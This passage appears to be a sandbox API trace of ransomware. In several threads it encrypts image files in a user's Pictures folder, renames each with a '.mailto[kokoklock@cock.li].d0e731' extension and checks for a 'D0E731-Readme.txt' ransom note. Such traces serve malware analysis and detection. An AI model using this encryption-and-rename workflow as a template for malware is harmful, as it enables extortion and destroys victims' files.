"c:\\users\\fd1hvy\\pictures\\yoc6hbl41carp37u4y5.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.870] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0175.871] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.871] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2f93eb0 [0175.871] wcscpy (in: _Dest=0x2f93eb0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0175.871] wcscat (in: _Dest=0x2f93eb0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0175.871] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0175.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93eb0) returned 1 [0175.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e3f0) returned 1 [0175.871] RtlExitUserThread (Status=0x1) Thread: id = 1888 os_tid = 0x594 [0170.239] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\zn5zpcbsixoy.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.833] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\zn5zpcbsixoy.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0175.834] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x11e6f7d0 | out: lpFileSize=0x11e6f7d0*=84445) returned 1 [0175.834] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x149d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.834] ReadFile (in: hFile=0x4d0, lpBuffer=0x11e6f7a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11e6f7a0, lpOverlapped=0x0 | out: lpBuffer=0x11e6f7a4*, lpNumberOfBytesRead=0x11e6f7a0*=0x4, lpOverlapped=0x0) returned 1 [0175.835] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0175.835] NtQuerySystemTime (in: CurrentTime=0x11e6f77c | out: CurrentTime=0x11e6f77c*=132121213331545987) returned 0x0 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x55a8a07c [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xae2282b9 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x767a46c0 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x5e8201df [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x2d0cf5fb [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xfd0a7beb [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xa089e7db [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xa1a5d90d [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x54d1665c [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x56c48d5c [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xb156f1e0 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x161ac496 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x35f35ce2 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xe4a3fb61 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x7b2cdaf9 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xa4a4fdc1 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x21d0bd5f [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x8c452421 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x5aeb6959 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x54934f1e [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xbeb60d79 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x995cad33 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x7410a6da [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xae72fffa [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x7228082 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xafc19f31 [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x4764ebaa [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xf1195f3f [0175.835] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x823005d3 [0175.836] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x961f7634 [0175.836] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0x53b95908 [0175.836] RtlRandom (in: Seed=0x11e6f788 | out: Seed=0x11e6f788) returned 0xee366e69 [0175.846] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.847] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11e6f754, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x11e6f754*=0x4096, lpOverlapped=0x0) returned 1 [0175.847] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.847] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f871a0 [0175.847] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88cd0 [0175.847] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.847] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.847] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.848] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.848] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0175.848] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0175.848] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88cd0) returned 1 [0175.848] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f871a0) returned 1 [0175.848] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11e6f754, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x11e6f754*=0x4096, lpOverlapped=0x0) returned 1 [0175.848] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.848] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x149dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.848] WriteFile (in: hFile=0x4d0, lpBuffer=0x3054050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11e6f78c, lpOverlapped=0x0 | out: lpBuffer=0x3054050*, lpNumberOfBytesWritten=0x11e6f78c*=0x20, lpOverlapped=0x0) returned 1 [0175.849] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.849] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.849] WriteFile (in: hFile=0x4d0, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11e6f7a0, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x11e6f7a0*=0x8, lpOverlapped=0x0) returned 1 [0175.849] WriteFile (in: hFile=0x4d0, lpBuffer=0x11e6f7b8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11e6f7a0, lpOverlapped=0x0 | out: lpBuffer=0x11e6f7b8*, lpNumberOfBytesWritten=0x11e6f7a0*=0x4, lpOverlapped=0x0) returned 1 [0175.849] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11e6f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11e6f7a0*=0x4, lpOverlapped=0x0) returned 1 [0175.850] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11e6f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11e6f7a0*=0x6c, lpOverlapped=0x0) returned 1 [0175.850] WriteFile (in: hFile=0x4d0, lpBuffer=0x3054078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11e6f7a0, lpOverlapped=0x0 | out: lpBuffer=0x3054078*, lpNumberOfBytesWritten=0x11e6f7a0*=0x20, lpOverlapped=0x0) returned 1 [0175.850] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11e6f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11e6f7a0*=0x4, lpOverlapped=0x0) returned 1 [0175.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0175.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0175.850] CloseHandle (hObject=0x4d0) returned 1 [0175.850] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f97758 [0175.850] wcscpy (in: _Dest=0x2f97758, _Source="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731" [0175.850] wcscat (in: _Dest=0x2f97758, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.850] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\zn5zpcbsixoy.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\zn5zpcbsixoy.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.851] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97758) returned 1 [0175.851] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.852] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2f93eb0 [0175.852] wcscpy (in: _Dest=0x2f93eb0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0175.852] wcscat (in: _Dest=0x2f93eb0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0175.852] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0175.852] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93eb0) returned 1 [0175.852] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3ae0) returned 1 [0175.852] RtlExitUserThread (Status=0x1) Thread: id = 1889 os_tid = 0x5ac [0170.239] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\_v9mbkb.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.812] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\_v9mbkb.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0175.812] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x11eeff10 | out: lpFileSize=0x11eeff10*=90338) returned 1 [0175.812] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x160de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.812] ReadFile (in: hFile=0x4d0, lpBuffer=0x11eefee4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11eefee0, lpOverlapped=0x0 | out: lpBuffer=0x11eefee4*, lpNumberOfBytesRead=0x11eefee0*=0x4, lpOverlapped=0x0) returned 1 [0175.813] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0175.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d80 [0175.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0175.813] NtQuerySystemTime (in: CurrentTime=0x11eefebc | out: CurrentTime=0x11eefebc*=132121213331233845) returned 0x0 [0175.813] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xe5d2d019 [0175.813] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xef900db9 [0175.813] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x5dee33b6 [0175.813] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x8053c770 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xe0b8288d [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x4c14e797 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x334bbfd2 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x889a6231 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xc3cf472e [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xcfc3efa7 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xebfb1536 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xdc05f28a [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x1af72c7f [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x190119c5 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x6dfb5c76 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x581c72eb [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x9d22e287 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xf4ceb2d5 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xf0e13093 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x9234eaa3 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x46a75c7b [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x93b507f [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x43331b0d [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xabf9704e [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x9468550d [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x95115354 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x46de35a9 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x8f56f593 [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0xa3ad448a [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x6e747a8f [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x31ea57aa [0175.814] RtlRandom (in: Seed=0x11eefec8 | out: Seed=0x11eefec8) returned 0x528da410 [0175.825] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.825] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11eefe94, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x11eefe94*=0x4096, lpOverlapped=0x0) returned 1 [0175.825] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.825] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0175.825] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88b68 [0175.825] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0175.826] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0175.826] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.827] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0175.827] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.827] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.827] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88b68) returned 1 [0175.827] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0175.827] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11eefe94, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x11eefe94*=0x4096, lpOverlapped=0x0) returned 1 [0175.828] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.828] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x160e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.828] WriteFile (in: hFile=0x4d0, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x11eefecc*=0x20, lpOverlapped=0x0) returned 1 [0175.829] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0175.829] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.829] WriteFile (in: hFile=0x4d0, lpBuffer=0x3054050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11eefee0, lpOverlapped=0x0 | out: lpBuffer=0x3054050*, lpNumberOfBytesWritten=0x11eefee0*=0x8, lpOverlapped=0x0) returned 1 [0175.829] WriteFile (in: hFile=0x4d0, lpBuffer=0x11eefef8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11eefee0, lpOverlapped=0x0 | out: lpBuffer=0x11eefef8*, lpNumberOfBytesWritten=0x11eefee0*=0x4, lpOverlapped=0x0) returned 1 [0175.829] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11eefee0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11eefee0*=0x4, lpOverlapped=0x0) returned 1 [0175.829] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11eefee0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11eefee0*=0x6c, lpOverlapped=0x0) returned 1 [0175.830] WriteFile (in: hFile=0x4d0, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11eefee0, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x11eefee0*=0x20, lpOverlapped=0x0) returned 1 [0175.830] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11eefee0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11eefee0*=0x4, lpOverlapped=0x0) returned 1 [0175.830] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0175.830] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0175.830] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.830] CloseHandle (hObject=0x4d0) returned 1 [0175.830] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff1b08 [0175.830] wcscpy (in: _Dest=0x2ff1b08, _Source="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731" [0175.830] wcscat (in: _Dest=0x2ff1b08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.830] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\_v9mbkb.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\_v9mbkb.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.831] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.831] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1b08) returned 1 [0175.831] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.831] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2f93df0 [0175.831] wcscpy (in: _Dest=0x2f93df0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0175.832] wcscat (in: _Dest=0x2f93df0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0175.832] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0175.832] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93df0) returned 1 [0175.832] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4a18) returned 1 [0175.832] RtlExitUserThread (Status=0x1) Thread: id 